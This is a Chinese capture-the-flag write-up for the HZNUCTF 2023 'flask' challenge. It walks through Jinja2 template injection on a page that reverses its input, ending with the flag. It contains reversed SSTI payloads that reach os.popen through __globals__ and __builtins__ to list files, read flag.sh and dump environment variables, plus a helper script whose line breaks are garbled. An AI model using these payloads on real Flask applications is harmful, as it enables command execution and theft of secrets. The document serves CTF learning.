当前位置: 首页 > news >正文

[HZNUCTF 2023 preliminary]flask

[HZNUCTF 2023 preliminary]flask

点开之后页面如图所示:
在这里插入图片描述猜测是SSTI模板注入,先输入{7*7},发现模板是倒序输入的:
在这里插入图片描述然后我们输入}}‘7’*7{{返回777777,这是jinja2模板:
在这里插入图片描述我们需要让用户输入一个字符串,对其进行反转操作,然后将反转后的字符串进行 Base64 编码,最后输出反转后的字符串。

以下是python倒序代码:

import base64strA = input('需要转换的字符:')
strB=strA[::-1]
sbase=str(base64.b64encode(strB.encode("utf-8")), "utf-8")   #baseprint(strB)   #base不能直接编码,要先换成byte类型,直接在线网站编码

接着我们构造payload,找出flag文件 :

?name=}})')(daer.)"/ sl"(nepop.)"so"(__tropmi__'(lave.]'__snitliub__'[__slabolg__.__tini__.a{{

运行之后得到:
在这里插入图片描述发现flag在flag.sh文件下,接着构造payload:

?name=}})')(daer.)"hs.galf/ cat"(nepop.)"so"(__tropmi__'(lave.]'__snitliub__'[__slabolg__.__tini__.a{{

运行之后得到:
在这里插入图片描述给出提示/bin/bash,然后我们构造payload:

 ?name=}})')(daer.)"sl;hsab/nib/ dc"(nepop.)"so"(__tropmi__'(lave.]'__snitliub__'[__slabolg__.__tini__.a{{

运行之后得到:
在这里插入图片描述出现了两个文件,我们逐个进行访问:
在这里插入图片描述

在这里插入图片描述均访问无果。接着用env命令查看一下环境变量:

?name=}})')(daer.)"vne"(nepop.)"so"(__tropmi__'(lave.]'__snitliub__'[__slabolg__.__tini__.a{{

运行之后得到:
在这里插入图片描述由此得到本题flag:
NSSCTF{0ad074d0-aa90-4e1e-86a5-5dc51f1ceed2}


http://www.mrgr.cn/news/13168.html

相关文章:

  • Linux -- git
  • C++ | Leetcode C++题解之第377题组合总和IV
  • Web3常见概念
  • ip命令简解
  • docker容器基本命令、docker进入容器的指令、容器的备份、镜像底层原理、使用commit命令制造镜像、将镜像推送到阿里云镜像仓库与私服仓库
  • 【Go - interface, 强类型语言中的任意类型 】
  • 如何设置代理ip地址怎么使用ip代理上网
  • 自动查询获取实时返回值 JavaScript JQuery on(),change(),trigger()
  • MVC结构是什么?怎么运用MVC结构?
  • 【前端储存】之localStrage、sessionStrage和Vuex
  • 数论经典问题——约数之和
  • 超分中的GAN总结:常用的判别器类型和GAN loss类型
  • 【Linux篇】环境变量
  • Android Audio音量——硬按键调节音量(七)
  • 开学季 小学学科资源免费取 让你节省2W元报班费
  • 【计算机系统架构】从0开始构建一台现代计算机|时序逻辑、主存储器|第3章
  • Spring-2- AOP 切面编程
  • MySql中常用的sql语句大全(工作常用篇)
  • unicode编码存在转义字符,导致乱码问题的解决方案
  • 【XML详解】